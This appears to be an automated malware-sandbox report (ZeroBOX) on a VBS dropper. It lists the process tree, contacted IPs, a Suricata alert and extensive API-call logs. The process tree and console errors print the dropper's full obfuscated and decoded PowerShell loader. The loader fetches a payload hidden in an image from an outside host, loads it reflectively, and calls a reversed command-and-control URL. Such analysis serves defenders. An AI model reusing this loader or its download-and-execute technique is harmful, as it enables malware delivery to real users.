Summary | ZeroBOX

okwugwwoooooFile.vbs

Generic Malware Antivirus Hide_URL PowerShell
Category Machine Started Completed
FILE s1_win7_x6403_us Sept. 21, 2023, 9:29 a.m. Sept. 21, 2023, 9:32 a.m.
Size 393.3KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5 b3cccc4edd38f55ec657d671fa6eb95a
SHA256 68b85c8b149ea48fcb054590583da1051c1d9f5bc87811ab3c856e9e9d5e320e
CRC32 AAE77EFC
ssdeep 3072:BHSHz66iAmXMtSW+CSeSFOSaSogmS9SZeBC/IQSqFK032fcdYGu0scGpJ2AB+D81:BSz6bqkS2fcdYGu0scGpJ2AB+QPQP2
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\okwugwwoooooFile.vbs

    840
    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░DY░░░Mw░░░v░░░DY░░░Mg░░░x░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░dQBu░░░Gk░░░dgBl░░░HI░░░cwBv░░░F8░░░dgBi░░░HM░░░LgBq░░░H░░░░░░ZQBn░░░D8░░░MQ░░░2░░░Dk░░░M░░░░░░5░░░DM░░░MQ░░░4░░░DU░░░NQ░░░n░░░Ds░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░g░░░D0░░░I░░░BO░░░GU░░░dw░░░t░░░E8░░░YgBq░░░GU░░░YwB0░░░C░░░░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBO░░░GU░░░d░░░░░░u░░░Fc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░LgBE░░░G8░░░dwBu░░░Gw░░░bwBh░░░GQ░░░R░░░Bh░░░HQ░░░YQ░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FU░░░cgBs░░░Ck░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBU░░░GU░░░e░░░B0░░░C4░░░RQBu░░░GM░░░bwBk░░░Gk░░░bgBn░░░F0░░░Og░░░6░░░FU░░░V░░░BG░░░Dg░░░LgBH░░░GU░░░d░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░FM░░░V░░░BB░░░FI░░░V░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░EU░░░TgBE░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwBl░░░C░░░░░░M░░░░░░g░░░C0░░░YQBu░░░GQ░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwB0░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░Kw░░░9░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░u░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░g░░░D0░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░FM░░░dQBi░░░HM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Cw░░░I░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ck░░░Ow░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBD░░░G8░░░bgB2░░░GU░░░cgB0░░░F0░░░Og░░░6░░░EY░░░cgBv░░░G0░░░QgBh░░░HM░░░ZQ░░░2░░░DQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░KQ░░░7░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBS░░░GU░░░ZgBs░░░GU░░░YwB0░░░Gk░░░bwBu░░░C4░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░F0░░░Og░░░6░░░Ew░░░bwBh░░░GQ░░░K░░░░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HQ░░░eQBw░░░GU░░░I░░░░░░9░░░C░░░░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░LgBH░░░GU░░░d░░░BU░░░Hk░░░c░░░Bl░░░Cg░░░JwBG░░░Gk░░░YgBl░░░HI░░░LgBI░░░G8░░░bQBl░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░B0░░░Hk░░░c░░░Bl░░░C4░░░RwBl░░░HQ░░░TQBl░░░HQ░░░a░░░Bv░░░GQ░░░K░░░░░░n░░░FY░░░QQBJ░░░Cc░░░KQ░░░7░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░I░░░░░░9░░░C░░░░░░L░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgBp░░░Gs░░░bwBs░░░G8░░░dwBn░░░HU░░░dwBr░░░G8░░░egBr░░░GY░░░ZwBq░░░Gs░░░a░░░Bm░░░Gs░░░a░░░Bm░░░Gs░░░ZwBo░░░Go░░░ZgBi░░░GQ░░░ag░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""

      2144
      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.ikolowguwkozkfgjkhfkhfkghjfbdj/36.33.24.391//:ptth');$method.Invoke($null, $arguments)"

        2272

IP Address Status Action
104.21.45.138 Active Moloch
121.254.136.18 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49166 -> 104.21.45.138:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49166
104.21.45.138:443
C=US, O=Let's Encrypt, CN=E1 CN=uploaddeimagens.com.br 67:68:c4:e4:aa:54:e1:fd:f0:50:01:73:1e:da:cf:48:0c:17:0d:34

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

buffer: on was closed: Could not establish trust relationship for the SSL/TLS secure ch
console_handle: 0x0000002f
1 1 0

WriteConsoleW

buffer: annel."
console_handle: 0x0000003b
1 1 0

WriteConsoleW

buffer: At line:1 char:185
console_handle: 0x00000047
1 1 0

WriteConsoleW

buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/unive
console_handle: 0x00000053
1 1 0

WriteConsoleW

buffer: rso_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageByt
console_handle: 0x0000005f
1 1 0

WriteConsoleW

buffer: es = $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.Encodin
console_handle: 0x0000006b
1 1 0

WriteConsoleW

buffer: g]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<B
console_handle: 0x00000077
1 1 0

WriteConsoleW

buffer: ASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageTex
console_handle: 0x00000083
1 1 0

WriteConsoleW

buffer: t.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startInde
console_handle: 0x0000008f
1 1 0

WriteConsoleW

buffer: x += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command =
console_handle: 0x0000009b
1 1 0

WriteConsoleW

buffer: $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Conve
console_handle: 0x000000a7
1 1 0

WriteConsoleW

buffer: rt]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Asse
console_handle: 0x000000b3
1 1 0

WriteConsoleW

buffer: mbly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$metho
console_handle: 0x000000bf
1 1 0

WriteConsoleW

buffer: d = $type.GetMethod('VAI');$arguments = ,('txt.ikolowguwkozkfgjkhfkhfkghjfbdj/3
console_handle: 0x000000cb
1 1 0

WriteConsoleW

buffer: 6.33.24.391//:ptth');$method.Invoke($null, $arguments)
console_handle: 0x000000d7
1 1 0

WriteConsoleW

buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000010f
1 1 0

WriteConsoleW

buffer: Parameter name: bytes"
console_handle: 0x0000011b
1 1 0

WriteConsoleW

buffer: At line:1 char:248
console_handle: 0x00000127
1 1 0

WriteConsoleW

buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/unive
console_handle: 0x00000133
1 1 0

WriteConsoleW

buffer: rso_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageByt
console_handle: 0x0000013f
1 1 0

WriteConsoleW

buffer: es = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UT
console_handle: 0x0000014b
1 1 0

WriteConsoleW

buffer: F8.GetString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<B
console_handle: 0x00000157
1 1 0

WriteConsoleW

buffer: ASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageTex
console_handle: 0x00000163
1 1 0

WriteConsoleW

buffer: t.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startInde
console_handle: 0x0000016f
1 1 0

WriteConsoleW

buffer: x += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command =
console_handle: 0x0000017b
1 1 0

WriteConsoleW

buffer: $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Conve
console_handle: 0x00000187
1 1 0

WriteConsoleW

buffer: rt]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Asse
console_handle: 0x00000193
1 1 0

WriteConsoleW

buffer: mbly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$metho
console_handle: 0x0000019f
1 1 0

WriteConsoleW

buffer: d = $type.GetMethod('VAI');$arguments = ,('txt.ikolowguwkozkfgjkhfkhfkghjfbdj/3
console_handle: 0x000001ab
1 1 0

WriteConsoleW

buffer: 6.33.24.391//:ptth');$method.Invoke($null, $arguments)
console_handle: 0x000001b7
1 1 0

WriteConsoleW

buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001c3
1 1 0

WriteConsoleW

buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001cf
1 1 0

WriteConsoleW

buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000001ef
1 1 0

WriteConsoleW

buffer: At line:1 char:354
console_handle: 0x000001fb
1 1 0

WriteConsoleW

buffer: + $imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/unive
console_handle: 0x00000207
1 1 0

WriteConsoleW

buffer: rso_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageByt
console_handle: 0x00000213
1 1 0

WriteConsoleW

buffer: es = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UT
console_handle: 0x0000021f
1 1 0

WriteConsoleW

buffer: F8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_
console_handle: 0x0000022b
1 1 0

WriteConsoleW

buffer: END>>';$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $imageTex
console_handle: 0x00000237
1 1 0

WriteConsoleW

buffer: t.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startInde
console_handle: 0x00000243
1 1 0

WriteConsoleW

buffer: x += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command =
console_handle: 0x0000024f
1 1 0

WriteConsoleW

buffer: $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Conve
console_handle: 0x0000025b
1 1 0

WriteConsoleW

buffer: rt]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Asse
console_handle: 0x00000267
1 1 0

WriteConsoleW

buffer: mbly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$metho
console_handle: 0x00000273
1 1 0

WriteConsoleW

buffer: d = $type.GetMethod('VAI');$arguments = ,('txt.ikolowguwkozkfgjkhfkhfkghjfbdj/3
console_handle: 0x0000027f
1 1 0

WriteConsoleW

buffer: 6.33.24.391//:ptth');$method.Invoke($null, $arguments)
console_handle: 0x0000028b
1 1 0

WriteConsoleW

buffer: + CategoryInfo : InvalidOperation: (IndexOf:String) [], RuntimeEx
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032df18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032d858
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032d858
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032d858
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032d858
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032d858
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032d858
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e058
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e5d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e5d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e5d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e2d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e5d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e5d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e5d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e5d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e5d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e5d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e5d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e418
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0032e418
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0034bbb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0034bcf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0034bcf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0034bcf8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0034b478
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0034b478
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0034b478
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0034b478
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0034b478
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0034b478
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 1703936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027c0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02920000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2144
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2144
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02921000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02922000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0251a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2144
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e4000
